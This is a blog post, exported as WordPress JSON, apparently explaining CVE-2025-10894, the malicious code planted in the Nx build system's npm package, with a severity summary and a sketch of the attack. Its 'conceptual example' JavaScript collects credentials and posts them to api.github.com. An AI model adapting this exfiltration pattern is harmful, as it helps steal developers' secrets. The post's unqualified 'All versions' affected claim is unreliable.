{"id":79398,"date":"2025-10-01T10:27:31","date_gmt":"2025-10-01T10:27:31","guid":{"rendered":""},"modified":"2025-10-28T11:37:28","modified_gmt":"2025-10-28T17:37:28","slug":"cve-2025-10894-high-risk-supply-chain-attack-on-nx-build-system","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-10894-high-risk-supply-chain-attack-on-nx-build-system\/","title":{"rendered":"<strong>CVE-2025-10894: High-Risk Supply Chain Attack on Nx Build System<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a high-risk vulnerability, identified as CVE-2025-10894, that affects the Nx build system package and several related plugins. This vulnerability is of particular significance due to its potential for system compromise and data leakage, posing a severe threat to users&#8217; data privacy and system security.<br \/>\nThe malicious code was inserted via a supply-chain attack, a sophisticated method where an adversary infiltrates a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7028-exploiting-the-software-smi-handler-vulnerability\/\"  data-wpil-monitor-id=\"88166\">software supply chain to exploit<\/a> downstream systems. In this case, the tampered package was published to the npm software registry, a widely utilized platform for JavaScript software packages, further increasing the potential impact.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-10894<br \/>\nSeverity: Critical (CVSS 9.6)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-36326-bypassing-amd-romarmor-protections-to-compromise-system-security\/\"  data-wpil-monitor-id=\"87857\">System compromise<\/a>, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2755869366\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Nx Build <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30325-integer-overflow-vulnerability-in-photoshop-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"91673\">System | All versions<\/a><br \/>\nRelated Nx Plugins | All versions<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by leveraging the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10534-critical-firefox-and-thunderbird-vulnerability-leading-to-possible-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"89458\">compromised Nx build system<\/a> package or its related plugins. Once the tampered package is installed, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-41148-serious-code-injection-vulnerability-in-robot-operating-system-ros\/\"  data-wpil-monitor-id=\"88949\">code becomes active within the user&#8217;s system<\/a>. The code is designed to scan the file system, collecting <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42933-vulnerability-exposing-sensitive-credentials-in-sap-business-one-native-client\/\"  data-wpil-monitor-id=\"88971\">sensitive credentials<\/a>. These credentials are then posted to GitHub under the user&#8217;s accounts in the form of a new repository, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55190-argo-cd-api-tokens-expose-sensitive-repository-credentials\/\"  data-wpil-monitor-id=\"87013\">exposing sensitive<\/a> data to malicious actors.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-581895233\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Consider the following conceptual example of how this exploit might look in action:<\/p>\n<pre><code class=\"\" data-line=\"\">const fs = require(&#039;fs&#039;);\nconst https = require(&#039;https&#039;);\nconst scanFileSystem = () =&gt; {\n\/\/ Assume this function scans the file system and collects credentials\n\/\/ Returns an array of credentials\n};\nconst postToGithub = (credentials) =&gt; {\nconst options = {\nhostname: &#039;api.github.com&#039;,\npath: &#039;\/user\/repos&#039;,\nmethod: &#039;POST&#039;,\nheaders: { &#039;Content-Type&#039;: &#039;application\/json&#039; }\n};\nconst req = https.request(options, (res) =&gt; {\n\/\/ Handle response\n});\nconst data = { name: &#039;leaked-credentials&#039;, description: &#039;Repo containing stolen credentials&#039;, credentials };\nreq.write(JSON.stringify(data));\nreq.end();\n};\nconst credentials = scanFileSystem();\npostToGithub(credentials);<\/code><\/pre>\n<p>This JavaScript code illustrates the attack conceptually, where the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-59352-critical-vulnerability-in-dragonfly-file-distribution-system-leading-to-potential-remote-code-execution-rce\/\"  data-wpil-monitor-id=\"90841\">code scans the system<\/a> for credentials and then posts them to GitHub. This example is oversimplified and does not include error handling or other complexities that would be present in a real-world scenario.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a high-risk vulnerability, identified as CVE-2025-10894, that affects the Nx build system package and several related plugins. This vulnerability is of particular significance due to its potential for system compromise and data leakage, posing a severe threat to users&#8217; data privacy and system security. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[79],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-79398","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-github"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=79398"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79398\/revisions"}],"predecessor-version":[{"id":84842,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79398\/revisions\/84842"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=79398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=79398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=79398"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=79398"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=79398"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=79398"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=79398"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=79398"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=79398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}